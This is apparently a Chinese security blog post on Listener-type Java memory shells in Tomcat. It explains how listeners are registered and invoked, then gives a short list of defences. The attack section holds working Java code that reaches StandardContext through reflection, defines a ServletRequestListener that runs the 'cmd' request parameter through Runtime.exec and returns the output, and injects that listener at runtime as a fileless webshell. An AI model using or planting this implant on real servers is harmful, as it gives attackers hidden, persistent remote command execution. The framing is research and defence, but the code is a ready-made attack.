java内存马连续剧——Listener内存马
字数 1349 2025-08-10 13:48:27
Java内存马技术研究:Listener型内存马
1. Listener内存马概述
1.1 监听器基本概念
- Listener是JavaWeb三大组件之一(Servlet、Filter、Listener)
- 功能:监听web应用中对象的创建、添加、销毁等事件并做出响应
- 实现方式:实现特定接口的Java程序
1.2 Listener三大域对象
-
ServletContext域对象
- 作用范围:整个Java Web应用程序
- 用途:共享数据、资源和配置信息
-
ServletRequest域对象
- 作用范围:单次HTTP请求处理期间
- 用途:请求处理期间共享数据
- 最适合注入内存马:因为可以针对每个请求执行恶意代码
-
HttpSession域对象
- 作用范围:用户会话期间
- 用途:跨请求保持用户状态信息
2. Listener内存马实现原理
2.1 核心机制
- 注入恶意
ServletRequestListener实现类 - 重写
requestInitialized方法(类似Filter的doFilter) - 当有HTTP请求时自动执行恶意代码
2.2 示例代码结构
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class MyListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre){
System.out.println("Listener被执行");
}
}
2.3 配置文件
需要在web.xml中配置:
<listener>
<listener-class>Listener.MyListener</listener-class>
</listener>
3. Listener注册与调用流程分析
3.1 注册流程
-
读取配置文件
ContextConfig.configureContext()方法读取web.xml- 遍历配置文件中的Listener定义
- 调用
StandardContext.addApplicationListener()添加监听器
-
存储位置
- 监听器被存储在
applicationListeners数组中
- 监听器被存储在
3.2 调用流程
StandardContext.listenerStart()启动监听StandardContext.fireRequestInitEvent()触发请求初始化事件- 通过
getApplicationEventListeners()获取监听器数组 - 遍历数组,检查是否实现
ServletRequestListener接口 - 调用符合条件的监听器的
requestInitialized方法
4. 攻击实现与EXP编写
4.1 攻击思路
- 通过反射获取
StandardContext对象 - 将恶意Listener添加到
applicationEventListenersList中 - 利用
addApplicationEventListener方法注入
4.2 关键代码实现
获取StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
恶意Listener实现
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade =
(org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade")
.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}
注入恶意Listener
// 获取现有监听器
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
// 添加恶意监听器
arrayList.add(new ListenerMemShell());
// 设置回StandardContext
standardContext.setApplicationEventListeners(arrayList.toArray());
5. 内存马特点
- 无文件驻留:即使删除JSP文件,内存马仍可执行
- 隐蔽性强:存在于内存中,难以通过常规文件扫描发现
- 持久性:只要应用不重启,内存马持续有效
- 按需触发:仅在请求到达时执行恶意代码
6. 防御建议
- 输入验证:严格校验上传的JSP文件内容
- 运行时监控:监控非预期的Listener注册行为
- 权限控制:限制反射操作权限
- 安全加固:禁用不必要的Java反射功能
- 定期检查:检查内存中的Listener列表是否异常